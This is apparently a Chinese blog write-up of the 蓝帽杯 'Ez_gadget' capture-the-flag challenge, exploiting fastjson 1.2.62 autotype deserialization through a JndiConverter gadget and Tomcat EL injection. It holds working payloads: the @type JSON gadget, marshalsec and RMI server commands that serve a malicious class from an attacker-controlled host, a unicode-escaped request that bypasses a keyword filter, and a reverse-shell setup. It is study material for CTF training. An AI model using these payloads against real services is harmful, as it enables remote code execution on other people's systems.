蓝帽杯-EzGadget
[蓝帽杯]Ez_gadget
- fastjson
赛后复现:
利用题目给的jar包开一个环境
审计
可以首先看一下依赖包里面,可以发现存在fastjson1.2.62依赖和Tomcat依赖,而fastjson1.2.62的漏洞百度一下可以发现payload
{“@type”:”org.apache.xbean.propertyeditor.JndiConverter”,”AsText”:”rmi://127.0.0.1:1099/exploit”}
https://www.cnblogs.com/tr1ple/p/12348886.html
存在一个secretkey,在json路由下可以发现存在JSON反序列化,并且设置了ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
,说明可以利用@type
实现fastjson反序列化漏洞,但是if语句看一下可以发现存在hash碰撞
1 | publicclass JSONController { |
1 | public static String samehash(String s, int level) { |
存在正则匹配,从而存在过滤,但是可以利用unicode加密绕过
过滤:String pattern = ".*rmi.*|.*jndi.*|.*ldap.*|.*\\\\\\\\x.*";
踩坑1
因为ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
打开了autotype,所有存在fastjson1.2.62的RCE,那就直接利用marshalsec
开一个ladp服务,并在vps某个目录下放一个恶意类,用python开服务命令如下:
python:
python3 -m http.server —bind 0.0.0.0 8888
marshalsec:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer ‘http://your_ip:8888/#Exploit'
payload:
{“@type”:”org.apache.xbean.propertyeditor.JndiConverter”,”AsText”:”rmi://ip:1099/exploit”}
但是发现虽然接收到了但是没有转到我们的恶意类那边,没有打开codebase
踩坑2
因为org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,用的是SUS的exp
打包成jar包之后放到vps上执行
1 | package other; |
但是不知道为什么弹shell没有成功
本地复现
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/
把Tomc类中的payload进行修改
1 | String cmd = "new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()"; |
执行Tomc类,开启RMI服务
payload:
1 | import com.alibaba.fastjson.JSON; |
发现虽然报错了但是还是执行了
开服务:
java -jar .\ezgadget.jar
RMI & Registry
执行:
分析
EL表达式
https://blog.csdn.net/weixin_45890771/article/details/123096972
本地开服务
自己复现之后,发现最关键的问题居然是exec里面的命令必须要用单引号包裹(?)为什么呢
跟了一下发现居然只是因为双引号闭合了导致命令出错了,为什么别人可以啊可恶!!!!
好吧还是把整个过程走一遍,就当记录学习过程了
直接利用本地的payload打断点开始调试,这里我们反序列化的函数和题目一样利用JSON.parseObject
前面和之前分析过的一样,进入到了DefaultJSONParser#parseObject
,绕过解析空格之类的特殊字符,并获取@type
因为开启了autotype,会直接获取typeName并进行实例化
并在后面利用对传入的payload进行了反序列化
之后调用到DefaultFieldDeserializer#parseField
,对属性的值进行赋值,从而调用到了DefaultFieldDeserializer#setValue
也就相当于调用了setter将rmi的payload赋值给AsText
而AbstractConverter#setAsText
中会调用到toObject
,这应该就是关键点了
1 | public final void setAsText(String text) { |
继续跟进之后发现,在之后调用到JndiConverter#toObjectImpl
的时候会调用到关键的lookup,而参数又是我们传进入的rmi
进到了exp开启的注册服务,并搜索到绑定了存在任意命令类的Exploit
之后通过Reference类从开启的注册服务中获取到了我们存放好的恶意类,并读取了其内容也就是包裹着命令执行的字符串(或许说是EL表达式),之后通过循环判断key,从而获取内容。当type为不可知的时候,就会调用到ELProcessor#eval
函数执行content从而实现了任意代码执行
而至于为什么赛时没有出结果,是因为payload中一直用到是双引号,但是由于eval中也用了双引号了包裹代码,导致发生了闭合从而不能识别整段代码,当然,我还是不能理解为什么当时的环境就连没有unicode的情况下还是没有任何回显
更新-远程复现
之前虽然本地打通了,但是把环境简单部署到CTFD的时候,并没有复现成功,最近参加了羊城杯发现了问题所在,重新复现一下!但由于实验室网进不去,就部署在了自己的服务器上
前面就根据hash碰撞得到对应的字符串OSpA4iEYU8Winr4X
,
利用https://github.com/welk1n/JNDI-Injection-Bypass工具,开服务
1 | java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer ip |
看过工具源码可以知道如果是EL和Groovy的话会对直接构造反弹shell payload,直接监听5555端口
最终payload:
1 | json?str=OSpA4iEYU8Winr4X&input=%7B%22%40type%22%3A%22org.apache.xbean.propertyeditor.%5Cu004a%5Cu006e%5Cu0064%5Cu0069Converter%22%2C%22AsText%22%3A%22%5Cu0072%5Cu006d%5Cu0069%3A%2F%2Fip%3A1097%2FExecByEL%22%7D |
小记
有时候总会过度依赖别人,虽然会自己去验证一些事,但是如果遇到了看起来难以解决的问题的时候就会寄希望于其他人,完全否定了自己的能力……
希望自己能够坚持学习,找到志同道合的web手这种事就随缘吧,现在也挺好的,虽然进度可能比较慢但是至少不会经常在乎别人的想法
并且战队和固定小队里的师傅那么厉害,难免会有点焦虑,也算是一种动力……